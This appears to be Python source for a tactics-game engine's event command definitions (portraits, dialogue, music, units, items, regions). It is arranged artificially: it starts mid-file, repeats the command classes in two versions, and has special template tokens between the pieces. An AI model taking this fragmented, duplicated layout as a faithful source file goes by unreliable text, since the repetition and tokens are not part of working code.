['Unit'] class SpendUnlock(EventCommand): nid = 'spend_unlock' tag = Tags.HIDDEN keywords = ['Unit'] class TriggerScript(EventCommand): nid = 'trigger_script' tag = Tags.MISCELLANEOUS keywords = ['Event'] optional_keywords = ['GlobalUnit', 'GlobalUnit'] class ChangeRoaming(EventCommand): nid = 'change_roaming' tag = Tags.MISCELLANEOUS desc = 'Turn free roam mode on or off' keywords = ['Bool'] class ChangeRoamingUnit(EventCommand): nid = 'change_roaming_unit' tag = Tags.MISCELLANEOUS desc = "Changes the level's current roaming unit." keywords = ['Unit'] class CleanUpRoaming(EventCommand): nid = 'clean_up_roaming' tag = Tags.MISCELLANEOUS desc = 'Removes all units other than the roaming unit' keywords = [] class AddToInitiative(EventCommand): nid = 'add_to_initiative' tag = Tags.MISCELLANEOUS desc = ( 'Adds the specified unit to the specified point in the initiative order. 0 is the current initiative position.' ) keywords = ['Unit', 'Integer'] class MoveInInitiative(EventCommand): nid = 'move_in_initiative' tag = Tags.MISCELLANEOUS desc = 'Moves the initiative of the specified unit.' keywords = ['Unit', 'Integer'] <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class Sound(EventCommand): nid = 'sound' tag = Tags.MUSIC_SOUND desc = '\nPlays the _Sound_ once.\n ' keywords = ['Sound'] class ChangeMusic(EventCommand): nid = 'change_music' tag = Tags.MUSIC_SOUND desc = """ Changes the phase theme music. For instance, you could use this command to change the player phase theme halfway through the chapter. """ keywords = ['PhaseMusic', 'Music'] class AddPortrait(EventCommand): nid = 'add_portrait' nickname = 'u' tag = Tags.PORTRAIT desc = """ Adds a portrait to the screen. Extra flags: 1. _mirror_: Portrait will face opposite expected direction. 2. _low_priority_: Portrait will appear behind all other portraits on the screen. 3. _immediate_: Portrait will not fade in. 4. _no_block_: Portrait will fade in, but will not pause execution of event script while doing so. """ keywords = ['Portrait', 'ScreenPosition'] optional_keywords = ['Slide', 'ExpressionList'] flags = ['mirror', 'low_priority', 'immediate', 'no_block'] class MultiAddPortrait(EventCommand): nid = 'multi_add_portrait' nickname = 'uu' tag = Tags.PORTRAIT desc = """ Adds more than one portrait to the screen at the same time. Accepts 2-4 portraits and their associated _ScreenPosition_ as input. """ keywords = ['Portrait', 'ScreenPosition', 'Portrait', 'ScreenPosition'] optional_keywords = ['Portrait', 'ScreenPosition', 'Portrait', 'ScreenPosition'] class RemovePortrait(EventCommand): nid = 'remove_portrait' nickname = 'r' tag = Tags.PORTRAIT keywords = ['Portrait'] flags = ['immediate', 'no_block'] class MultiRemovePortrait(EventCommand): nid = 'multi_remove_portrait' nickname = 'rr' tag = Tags.PORTRAIT keywords = ['Portrait', 'Portrait'] optional_keywords = ['Portrait', 'Portrait'] class MovePortrait(EventCommand): nid = 'move_portrait' tag = Tags.PORTRAIT keywords = ['Portrait', 'ScreenPosition'] flags = ['immediate', 'no_block'] class BopPortrait(EventCommand): nid = 'bop_portrait' nickname = 'bop' tag = Tags.PORTRAIT keywords = ['Portrait'] flags = ['no_block'] class Expression(EventCommand): nid = 'expression' nickname = 'e' tag = Tags.PORTRAIT keywords = ['Portrait', 'ExpressionList'] class Speak(EventCommand): nid = 'speak' nickname = 's' tag = Tags.DIALOGUE_TEXT keywords = ['Speaker', 'Text'] optional_keywords = ['ScreenPosition', 'Width', 'DialogVariant'] flags = ['low_priority'] class Transition(EventCommand): nid = 'transition' nickname = 't' tag = Tags.BG_FG optional_keywords = ['Direction', 'Speed', 'Color3'] class Background(EventCommand): nid = 'change_background' nickname = 'b' tag = Tags.BG_FG optional_keywords = ['Panorama'] flags = ['keep_portraits'] class DispCursor(EventCommand): nid = 'disp_cursor' tag = Tags.CURSOR_CAMERA keywords = ['Bool'] class MoveCursor(EventCommand): nid = 'move_cursor' nickname = 'set_cursor' tag = Tags.CURSOR_CAMERA keywords = ['Position'] flags = ['immediate'] class CenterCursor(EventCommand): nid = 'center_cursor' tag = Tags.CURSOR_CAMERA keywords = ['Position'] flags = ['immediate'] class FlickerCursor(EventCommand): nid = 'flicker_cursor' nickname = 'highlight' tag = Tags.CURSOR_CAMERA keywords = ['Position'] flags = ['immediate'] class GameVar(EventCommand): nid = 'game_var' tag = Tags.GAME_VARS keywords = ['Nid', 'Condition'] class IncGameVar(EventCommand): nid = 'inc_game_var' tag = Tags.GAME_VARS keywords = ['Nid'] optional_keywords = ['Condition'] class LevelVar(EventCommand): nid = 'level_var' tag = Tags.LEVEL_VARS keywords = ['Nid', 'Condition'] class IncLevelVar(EventCommand): nid = 'inc_level_var' tag = Tags.LEVEL_VARS keywords = ['Nid'] optional_keywords = ['Condition'] class WinGame(EventCommand): nid = 'win_game' tag = Tags.LEVEL_VARS class LoseGame(EventCommand): nid = 'lose_game' tag = Tags.LEVEL_VARS class ActivateTurnwheel(EventCommand): nid = 'activate_turnwheel' tag = Tags.MISCELLANEOUS optional_keywords = ['Bool'] class BattleSave(EventCommand): nid = 'battle_save' tag = Tags.MISCELLANEOUS class ChangeTilemap(EventCommand): nid = 'change_tilemap' tag = Tags.TILEMAP keywords = ['Tilemap'] optional_keywords = ['PositionOffset', 'Tilemap'] flags = ['reload'] class LoadUnit(EventCommand): nid = 'load_unit' tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS keywords = ['UniqueUnit'] optional_keywords = ['Team', 'AI'] class MakeGeneric(EventCommand): nid = 'make_generic' tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS keywords = ['String', 'Klass', 'String', 'Team'] optional_keywords = ['AI', 'Faction', 'String', 'ItemList'] class CreateUnit(EventCommand): nid = 'create_unit' tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS keywords = ['Unit', 'String'] optional_keywords = ['String', 'Position', 'EntryType', 'Placement'] class AddUnit(EventCommand): nid = 'add_unit' nickname = 'add' tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS keywords = ['Unit'] optional_keywords = ['Position', 'EntryType', 'Placement'] class MoveUnit(EventCommand): nid = 'move_unit' nickname = 'move' tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS keywords = ['Unit'] optional_keywords = ['Position', 'MovementType', 'Placement'] flags = ['no_block', 'no_follow'] class RemoveUnit(EventCommand): nid = 'remove_unit' nickname = 'remove' tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS keywords = ['Unit'] optional_keywords = ['RemoveType'] class KillUnit(EventCommand): nid = 'kill_unit' nickname = 'kill' tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS keywords = ['Unit'] flags = ['immediate'] class RemoveAllUnits(EventCommand): nid = 'remove_all_units' tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS class RemoveAllEnemies(EventCommand): nid = 'remove_all_enemies' tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS class InteractUnit(EventCommand): nid = 'interact_unit' nickname = 'interact' tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS keywords = ['Unit', 'Unit'] optional_keywords = ['CombatScript', 'Ability'] class SetCurrentHP(EventCommand): nid = 'set_current_hp' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['Unit', 'PositiveInteger'] class SetCurrentMana(EventCommand): nid = 'set_current_mana' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['Unit', 'PositiveInteger'] class Resurrect(EventCommand): nid = 'resurrect' tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS keywords = ['GlobalUnit'] class Reset(EventCommand): nid = 'reset' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['Unit'] class HasAttacked(EventCommand): nid = 'has_attacked' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['Unit'] class HasTraded(EventCommand): nid = 'has_traded' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['Unit'] class AddGroup(EventCommand): nid = 'add_group' tag = Tags.UNIT_GROUPS keywords = ['Group'] optional_keywords = ['StartingGroup', 'EntryType', 'Placement'] flags = ['create'] class SpawnGroup(EventCommand): nid = 'spawn_group' tag = Tags.UNIT_GROUPS keywords = ['Group', 'CardinalDirection', 'StartingGroup'] optional_keywords = ['EntryType', 'Placement'] flags = ['create', 'no_block', 'no_follow'] class MoveGroup(EventCommand): nid = 'move_group' nickname = 'morph_group' tag = Tags.UNIT_GROUPS keywords = ['Group', 'StartingGroup'] optional_keywords = ['MovementType', 'Placement'] flags = ['no_block', 'no_follow'] class RemoveGroup(EventCommand): nid = 'remove_group' tag = Tags.UNIT_GROUPS keywords = ['Group'] optional_keywords = ['RemoveType'] class GiveItem(EventCommand): nid = 'give_item' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'Item'] flags = ['no_banner', 'no_choice', 'droppable'] class RemoveItem(EventCommand): nid = 'remove_item' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'Item'] flags = ['no_banner'] class GiveMoney(EventCommand): nid = 'give_money' tag = Tags.GAME_VARS keywords = ['Integer'] optional_keywords = ['Party'] flags = ['no_banner'] class GiveBexp(EventCommand): nid = 'give_bexp' tag = Tags.GAME_VARS keywords = ['Condition'] optional_keywords = ['Party', 'String'] flags = ['no_banner'] class GiveExp(EventCommand): nid = 'give_exp' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'PositiveInteger'] class SetExp(EventCommand): nid = 'set_exp' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'PositiveInteger'] class GiveWexp(EventCommand): nid = 'give_wexp' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'WeaponType', 'Integer'] flags = ['no_banner'] class GiveSkill(EventCommand): nid = 'give_skill' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'Skill'] flags = ['no_banner'] class RemoveSkill(EventCommand): nid = 'remove_skill' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'Skill'] flags = ['no_banner'] class ChangeAI(EventCommand): nid = 'change_ai' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'AI'] class ChangeTeam(EventCommand): nid = 'change_team' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'Team'] class ChangePortrait(EventCommand): nid = 'change_portrait' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'PortraitNid'] class ChangeStats(EventCommand): nid = 'change_stats' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'StatList'] flags = ['immediate'] class SetStats(EventCommand): nid = 'set_stats' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'StatList'] flags = ['immediate'] class AutolevelTo(EventCommand): nid = 'autolevel_to' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'String'] flags = ['hidden'] class SetModeAutolevels(EventCommand): nid = 'set_mode_autolevels' tag = Tags.GAME_VARS keywords = ['String'] flags = ['hidden'] class Promote(EventCommand): nid = 'promote' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit'] optional_keywords = ['Klass'] class ChangeClass(EventCommand): nid = 'change_class' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit'] optional_keywords = ['Klass'] class AddTag(EventCommand): nid = 'add_tag' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'Tag'] class RemoveTag(EventCommand): nid = 'remove_tag' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'Tag'] class AddTalk(EventCommand): nid = 'add_talk' tag = Tags.LEVEL_VARS keywords = ['Unit', 'Unit'] class RemoveTalk(EventCommand): nid = 'remove_talk' tag = Tags.LEVEL_VARS keywords = ['Unit', 'Unit'] class AddLore(EventCommand): nid = 'add_lore' nickname = 'unlock_lore' tag = Tags.GAME_VARS keywords = ['Lore'] class RemoveLore(EventCommand): nid = 'remove_lore' tag = Tags.GAME_VARS keywords = ['Lore'] class AddBaseConvo(EventCommand): nid = 'add_base_convo' tag = Tags.LEVEL_VARS keywords = ['String'] class IgnoreBaseConvo(EventCommand): nid = 'ignore_base_convo' tag = Tags.LEVEL_VARS keywords = ['String'] class RemoveBaseConvo(EventCommand): nid = 'remove_base_convo' tag = Tags.LEVEL_VARS keywords = ['String'] class IncrementSupportPoints(EventCommand): nid = 'increment_support_points' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'GlobalUnit', 'PositiveInteger'] class AddMarketItem(EventCommand): nid = 'add_market_item' tag = Tags.GAME_VARS keywords = ['Item'] class RemoveMarketItem(EventCommand): nid = 'remove_market_item' tag = Tags.GAME_VARS keywords = ['Item'] class AddRegion(EventCommand): nid = 'add_region' tag = Tags.REGION keywords = ['Nid', 'Position', 'Size', 'RegionType'] optional_keywords = ['String'] flags = ['only_once'] class RegionCondition(EventCommand): nid = 'region_condition' tag = Tags.REGION keywords = ['Nid', 'Condition'] class RemoveRegion(EventCommand): nid = 'remove_region' tag = Tags.REGION keywords = ['Nid'] class ShowLayer(EventCommand): nid = 'show_layer' tag = Tags.TILEMAP keywords = ['Layer'] optional_keywords = ['LayerTransition'] class HideLayer(EventCommand): nid = 'hide_layer' tag = Tags.TILEMAP keywords = ['Layer'] optional_keywords = ['LayerTransition'] class AddWeather(EventCommand): nid = 'add_weather' tag = Tags.TILEMAP keywords = ['Weather'] class RemoveWeather(EventCommand): nid = 'remove_weather' tag = Tags.TILEMAP keywords = ['Weather'] class ChangeObjectiveSimple(EventCommand): nid = 'change_objective_simple' tag = Tags.LEVEL_VARS keywords = ['String'] class ChangeObjectiveWin(EventCommand): nid = 'change_objective_win' tag = Tags.LEVEL_VARS keywords = ['String'] class ChangeObjectiveLoss(EventCommand): nid = 'change_objective_loss' tag = Tags.LEVEL_VARS keywords = ['String'] class SetPosition(EventCommand): nid = 'set_position' tag = Tags.MISCELLANEOUS keywords = ['String'] class MapAnim(EventCommand): nid = 'map_anim' tag = Tags.TILEMAP keywords = ['MapAnim', 'Position'] flags = ['no_block'] class ArrangeFormation(EventCommand): nid = 'arrange_formation' tag = Tags.MISCELLANEOUS class Prep(EventCommand): nid = 'prep' tag = Tags.MISCELLANEOUS optional_keywords = ['Bool', 'Music'] class Base(EventCommand): nid = 'base' tag = Tags.MISCELLANEOUS keywords = ['Panorama'] optional_keywords = ['Music'] class Shop(EventCommand): nid = 'shop' tag = Tags.MISCELLANEOUS keywords = ['Unit', 'ItemList'] optional_keywords = ['ShopFlavor'] class Choice(EventCommand): nid = 'choice' tag = Tags.MISCELLANEOUS keywords = ['Nid', 'String', 'StringList'] optional_keywords = ['Orientation'] class ChapterTitle(EventCommand): nid = 'chapter_title' tag = Tags.MISCELLANEOUS optional_keywords = ['Music', 'String'] class Alert(EventCommand): nid = 'alert' tag = Tags.DIALOGUE_TEXT keywords = ['String'] class VictoryScreen(EventCommand): nid = 'victory_screen' tag = Tags.MISCELLANEOUS class RecordsScreen(EventCommand): nid = 'records_screen' tag = Tags.MISCELLANEOUS class LocationCard(EventCommand): nid = 'location_card' tag = Tags.DIALOGUE_TEXT keywords = ['String'] class Credits(EventCommand): nid = 'credits' tag = Tags.DIALOGUE_TEXT keywords = ['String', 'String'] flags = ['wait', 'center', 'no_split'] class Ending(EventCommand): nid = 'ending' tag = Tags.DIALOGUE_TEXT keywords = ['Portrait', 'String', 'String'] class PopDialog(EventCommand): nid = 'pop_dialog' tag = Tags.DIALOGUE_TEXT desc = """ Removes the most recent dialog text box from the screen. Generally only used in conjunction with the `ending` command to remove the Ending box during a transition. Example: ``` ending;Coyote;Coyote, Man of Mystery;Too mysterious for words. transition;Close pop_dialog transition;Open ``` """ class Unlock(EventCommand): nid = 'unlock' tag = Tags.REGION keywords = ['Unit'] class FindUnlock(EventCommand): nid = 'find_unlock' tag = Tags.HIDDEN keywords = ['Unit'] class SpendUnlock(EventCommand): nid = 'spend_unlock' tag = Tags.HIDDEN keywords = ['Unit'] class TriggerScript(EventCommand): nid = 'trigger_script' tag = Tags.MISCELLANEOUS keywords = ['Event'] optional_keywords = ['GlobalUnit', 'GlobalUnit'] class ChangeRoaming(EventCommand): nid = 'change_roaming' tag = Tags.MISCELLANEOUS desc = 'Turn free roam mode on or off' keywords = ['Bool'] class ChangeRoamingUnit(EventCommand): nid = 'change_roaming_unit' tag = Tags.MISCELLANEOUS desc = "Changes the level's current roaming unit." keywords = ['Unit'] class CleanUpRoaming(EventCommand): nid = 'clean_up_roaming' tag = Tags.MISCELLANEOUS desc = 'Removes all units other than the roaming unit' keywords = [] class AddToInitiative(EventCommand): nid = 'add_to_initiative' tag = Tags.MISCELLANEOUS desc = ( 'Adds the specified unit to the specified point in the initiative order. 0 is the current initiative position.' ) keywords = ['Unit', 'Integer'] class MoveInInitiative(EventCommand): nid = 'move_in_initiative' tag = Tags.MISCELLANEOUS desc = 'Moves the initiative of the specified unit.' keywords = ['Unit', 'Integer'] <|reserved_special_token_0|> <|reserved_special_token_1|> from enum import Enum from app.utilities.data import Prefab class Tags(Enum): FLOW_CONTROL = 'Flow Control' MUSIC_SOUND = 'Music/Sound' PORTRAIT = 'Portrait' BG_FG = 'Background/Foreground' DIALOGUE_TEXT = 'Dialogue/Text' CURSOR_CAMERA = 'Cursor/Camera' LEVEL_VARS = 'Level-wide Unlocks and Variables' GAME_VARS = 'Game-wide Unlocks and Variables' TILEMAP = 'Tilemap' REGION = 'Region' ADD_REMOVE_INTERACT_WITH_UNITS = 'Add/Remove/Interact with Units' MODIFY_UNIT_PROPERTIES = 'Modify Unit Properties' UNIT_GROUPS = 'Unit Groups' MISCELLANEOUS = 'Miscellaneous' HIDDEN = 'Hidden' class EventCommand(Prefab): nid: str = None nickname: str = None tag: Tags = Tags.HIDDEN desc: str = '' keywords: list = [] optional_keywords: list = [] flags: list = [] values: list = [] display_values: list = [] def __init__(self, values=None, disp_values=None): self.values = values or [] self.display_values = disp_values or values or [] def save(self): # Don't bother saving display values if they are identical if self.display_values == self.values: return self.nid, self.values else: return self.nid, self.values, self.display_values def to_plain_text(self): if self.display_values: return ';'.join([self.nid] + self.display_values) else: return ';'.join([self.nid] + self.values) def __repr__(self): return self.to_plain_text() class Comment(EventCommand): nid = "comment" nickname = '#' tag = Tags.FLOW_CONTROL desc = \ """ **Lines** starting with '#' will be ignored. """ def to_plain_text(self): return self.values[0] class If(EventCommand): nid = "if" tag = Tags.FLOW_CONTROL desc = \ """ If the _Condition_ returns true, the block under this command will be executed. If it returns false, the script will search for the next **elif**, **else**, or **end** command before proceeding. If it is not a valid Python expression, the result will be treated as false. Remember to end your **if** blocks with **end**. The indentation is not required, but is recommended for organization of the conditional blocks. Example: ``` if;game.check_dead('Eirika') lose_game elif;game.check_dead('Lyon') win_game else u;Eirika s;Eirika;Nice! r;Eirika end ``` """ keywords = ['Condition'] class Elif(EventCommand): nid = "elif" tag = Tags.FLOW_CONTROL desc = \ """ Works exactly like the **if** statement, but is called only if the previous **if** or **elif** returned false. In the following example, the **elif** will only be processed if `if;game.check_dead('Eirika')` return false. Example: ``` if;game.check_dead('Eirika') lose_game elif;game.check_dead('Lyon') win_game else u;Eirika s;Eirika;Nice! r;Eirika end ``` """ keywords = ['Condition'] class Else(EventCommand): nid = "else" tag = Tags.FLOW_CONTROL desc = \ """ Defines a block to be executed only if the previous **if** or **elif** returned false. Example: ``` if;game.check_dead('Eirika') lose_game elif;game.check_dead('Lyon') win_game else u;Eirika s;Eirika;Nice! r;Eirika end ``` """ class End(EventCommand): nid = "end" tag = Tags.FLOW_CONTROL desc = \ """ Ends a conditional block. Refer to the **if** command for more information. """ class Break(EventCommand): nid = "break" tag = Tags.FLOW_CONTROL desc = \ """ Immediately ends the current event. """ class Wait(EventCommand): nid = "wait" tag = Tags.FLOW_CONTROL desc = \ """ Pauses the execution of the script for _Time_ milliseconds. Often used after a scene transition, cursor movement, or reinforcements to give the player a chance to take in the scene. """ keywords = ['Time'] class EndSkip(EventCommand): nid = "end_skip" tag = Tags.FLOW_CONTROL desc = \ """ If the player was skipping through the event script, stop the skip here. Used to prevent a single skip from skipping through an entire event. """ class Music(EventCommand): nid = "music" nickname = "m" tag = Tags.MUSIC_SOUND desc = \ """ Fades in _Music_ over the course of _Time_ milliseconds. Fade in defaults to 400 milliseconds. """ keywords = ['Music'] optional_keywords = ['Time'] # How long to fade in (default 400) class MusicClear(EventCommand): nid = "music_clear" tag = Tags.MUSIC_SOUND desc = \ """ Fades out the currently playing song over the course of _Time_ milliseconds. Also clears the entire song stack. Fade out defaults to 400 milliseconds. """ optional_keywords = ['Time'] # How long to fade out class Sound(EventCommand): nid = "sound" tag = Tags.MUSIC_SOUND desc = \ """ Plays the _Sound_ once. """ keywords = ['Sound'] class ChangeMusic(EventCommand): nid = 'change_music' tag = Tags.MUSIC_SOUND desc = \ """ Changes the phase theme music. For instance, you could use this command to change the player phase theme halfway through the chapter. """ keywords = ['PhaseMusic', 'Music'] class AddPortrait(EventCommand): nid = "add_portrait" nickname = "u" tag = Tags.PORTRAIT desc = \ """ Adds a portrait to the screen. Extra flags: 1. _mirror_: Portrait will face opposite expected direction. 2. _low_priority_: Portrait will appear behind all other portraits on the screen. 3. _immediate_: Portrait will not fade in. 4. _no_block_: Portrait will fade in, but will not pause execution of event script while doing so. """ keywords = ['Portrait', 'ScreenPosition'] optional_keywords = ['Slide', 'ExpressionList'] flags = ["mirror", "low_priority", "immediate", "no_block"] class MultiAddPortrait(EventCommand): nid = "multi_add_portrait" nickname = "uu" tag = Tags.PORTRAIT desc = \ """ Adds more than one portrait to the screen at the same time. Accepts 2-4 portraits and their associated _ScreenPosition_ as input. """ keywords = ['Portrait', 'ScreenPosition', 'Portrait', 'ScreenPosition'] optional_keywords = ['Portrait', 'ScreenPosition', 'Portrait', 'ScreenPosition'] class RemovePortrait(EventCommand): nid = "remove_portrait" nickname = "r" tag = Tags.PORTRAIT keywords = ['Portrait'] flags = ["immediate", "no_block"] class MultiRemovePortrait(EventCommand): nid = "multi_remove_portrait" nickname = "rr" tag = Tags.PORTRAIT keywords = ['Portrait', 'Portrait'] optional_keywords = ['Portrait', 'Portrait'] class MovePortrait(EventCommand): nid = "move_portrait" tag = Tags.PORTRAIT keywords = ['Portrait', 'ScreenPosition'] flags = ["immediate", "no_block"] class BopPortrait(EventCommand): nid = "bop_portrait" nickname = "bop" tag = Tags.PORTRAIT keywords = ['Portrait'] flags = ["no_block"] class Expression(EventCommand): nid = "expression" nickname = "e" tag = Tags.PORTRAIT keywords = ['Portrait', 'ExpressionList'] class Speak(EventCommand): nid = "speak" nickname = "s" tag = Tags.DIALOGUE_TEXT keywords = ['Speaker', 'Text'] optional_keywords = ['ScreenPosition', 'Width', 'DialogVariant'] flags = ['low_priority'] class Transition(EventCommand): nid = "transition" nickname = "t" tag = Tags.BG_FG optional_keywords = ['Direction', 'Speed', 'Color3'] class Background(EventCommand): # Also does remove background nid = "change_background" nickname = "b" tag = Tags.BG_FG optional_keywords = ['Panorama'] flags = ["keep_portraits"] class DispCursor(EventCommand): nid = "disp_cursor" tag = Tags.CURSOR_CAMERA keywords = ["Bool"] class MoveCursor(EventCommand): nid = "move_cursor" nickname = "set_cursor" tag = Tags.CURSOR_CAMERA keywords = ["Position"] flags = ["immediate"] class CenterCursor(EventCommand): nid = "center_cursor" tag = Tags.CURSOR_CAMERA keywords = ["Position"] flags = ["immediate"] class FlickerCursor(EventCommand): nid = 'flicker_cursor' nickname = 'highlight' tag = Tags.CURSOR_CAMERA keywords = ["Position"] flags = ["immediate"] class GameVar(EventCommand): nid = 'game_var' tag = Tags.GAME_VARS keywords = ["Nid", "Condition"] class IncGameVar(EventCommand): nid = 'inc_game_var' tag = Tags.GAME_VARS keywords = ["Nid"] optional_keywords = ["Condition"] class LevelVar(EventCommand): nid = 'level_var' tag = Tags.LEVEL_VARS keywords = ["Nid", "Condition"] class IncLevelVar(EventCommand): nid = 'inc_level_var' tag = Tags.LEVEL_VARS keywords = ["Nid"] optional_keywords = ["Condition"] class WinGame(EventCommand): nid = 'win_game' tag = Tags.LEVEL_VARS class LoseGame(EventCommand): nid = 'lose_game' tag = Tags.LEVEL_VARS class ActivateTurnwheel(EventCommand): nid = 'activate_turnwheel' tag = Tags.MISCELLANEOUS # Whether to force the player to move the turnwheel back # defaults to true optional_keywords = ['Bool'] class BattleSave(EventCommand): nid = 'battle_save' tag = Tags.MISCELLANEOUS class ChangeTilemap(EventCommand): nid = 'change_tilemap' tag = Tags.TILEMAP keywords = ["Tilemap"] # How much to offset placed units by # Which tilemap to load the unit positions from optional_keywords = ["PositionOffset", "Tilemap"] flags = ["reload"] # Should place units in previously recorded positions class LoadUnit(EventCommand): nid = 'load_unit' tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS keywords = ["UniqueUnit"] optional_keywords = ["Team", "AI"] class MakeGeneric(EventCommand): nid = 'make_generic' tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS # Nid, class, level, team, ai, faction, anim variant keywords = ["String", "Klass", "String", "Team"] optional_keywords = ["AI", "Faction", "String", "ItemList"] class CreateUnit(EventCommand): nid = 'create_unit' tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS # Unit template and new unit nid (can be '') keywords = ["Unit", "String"] # Unit level, position, entrytype, placement optional_keywords = ["String", "Position", "EntryType", "Placement"] class AddUnit(EventCommand): nid = 'add_unit' nickname = 'add' tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS keywords = ["Unit"] optional_keywords = ["Position", "EntryType", "Placement"] class MoveUnit(EventCommand): nid = 'move_unit' nickname = 'move' tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS keywords = ["Unit"] optional_keywords = ["Position", "MovementType", "Placement"] flags = ['no_block', 'no_follow'] class RemoveUnit(EventCommand): nid = 'remove_unit' nickname = 'remove' tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS keywords = ["Unit"] optional_keywords = ["RemoveType"] class KillUnit(EventCommand): nid = 'kill_unit' nickname = 'kill' tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS keywords = ["Unit"] flags = ['immediate'] class RemoveAllUnits(EventCommand): nid = 'remove_all_units' tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS class RemoveAllEnemies(EventCommand): nid = 'remove_all_enemies' tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS class InteractUnit(EventCommand): nid = 'interact_unit' nickname = 'interact' tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS keywords = ["Unit", "Unit"] optional_keywords = ["CombatScript", "Ability"] class SetCurrentHP(EventCommand): nid = 'set_current_hp' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ["Unit", "PositiveInteger"] class SetCurrentMana(EventCommand): nid = 'set_current_mana' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ["Unit", "PositiveInteger"] class Resurrect(EventCommand): nid = 'resurrect' tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS keywords = ["GlobalUnit"] class Reset(EventCommand): nid = 'reset' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ["Unit"] class HasAttacked(EventCommand): nid = 'has_attacked' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ["Unit"] class HasTraded(EventCommand): nid = 'has_traded' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['Unit'] class AddGroup(EventCommand): nid = 'add_group' tag = Tags.UNIT_GROUPS keywords = ["Group"] optional_keywords = ["StartingGroup", "EntryType", "Placement"] flags = ["create"] class SpawnGroup(EventCommand): nid = 'spawn_group' tag = Tags.UNIT_GROUPS keywords = ["Group", "CardinalDirection", "StartingGroup"] optional_keywords = ["EntryType", "Placement"] flags = ["create", "no_block", 'no_follow'] class MoveGroup(EventCommand): nid = 'move_group' nickname = 'morph_group' tag = Tags.UNIT_GROUPS keywords = ["Group", "StartingGroup"] optional_keywords = ["MovementType", "Placement"] flags = ['no_block', 'no_follow'] class RemoveGroup(EventCommand): nid = 'remove_group' tag = Tags.UNIT_GROUPS keywords = ["Group"] optional_keywords = ["RemoveType"] class GiveItem(EventCommand): nid = 'give_item' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ["GlobalUnit", "Item"] flags = ['no_banner', 'no_choice', 'droppable'] class RemoveItem(EventCommand): nid = 'remove_item' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ["GlobalUnit", "Item"] flags = ['no_banner'] class GiveMoney(EventCommand): nid = 'give_money' tag = Tags.GAME_VARS keywords = ["Integer"] optional_keywords = ["Party"] flags = ['no_banner'] class GiveBexp(EventCommand): nid = 'give_bexp' tag = Tags.GAME_VARS keywords = ["Condition"] optional_keywords = ["Party", "String"] flags = ['no_banner'] class GiveExp(EventCommand): nid = 'give_exp' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ["GlobalUnit", "PositiveInteger"] class SetExp(EventCommand): nid = 'set_exp' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ["GlobalUnit", "PositiveInteger"] class GiveWexp(EventCommand): nid = 'give_wexp' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ["GlobalUnit", "WeaponType", "Integer"] flags = ['no_banner'] class GiveSkill(EventCommand): nid = 'give_skill' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ["GlobalUnit", "Skill"] flags = ['no_banner'] class RemoveSkill(EventCommand): nid = 'remove_skill' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ["GlobalUnit", "Skill"] flags = ['no_banner'] class ChangeAI(EventCommand): nid = 'change_ai' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ["GlobalUnit", "AI"] class ChangeTeam(EventCommand): nid = 'change_team' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ["GlobalUnit", "Team"] 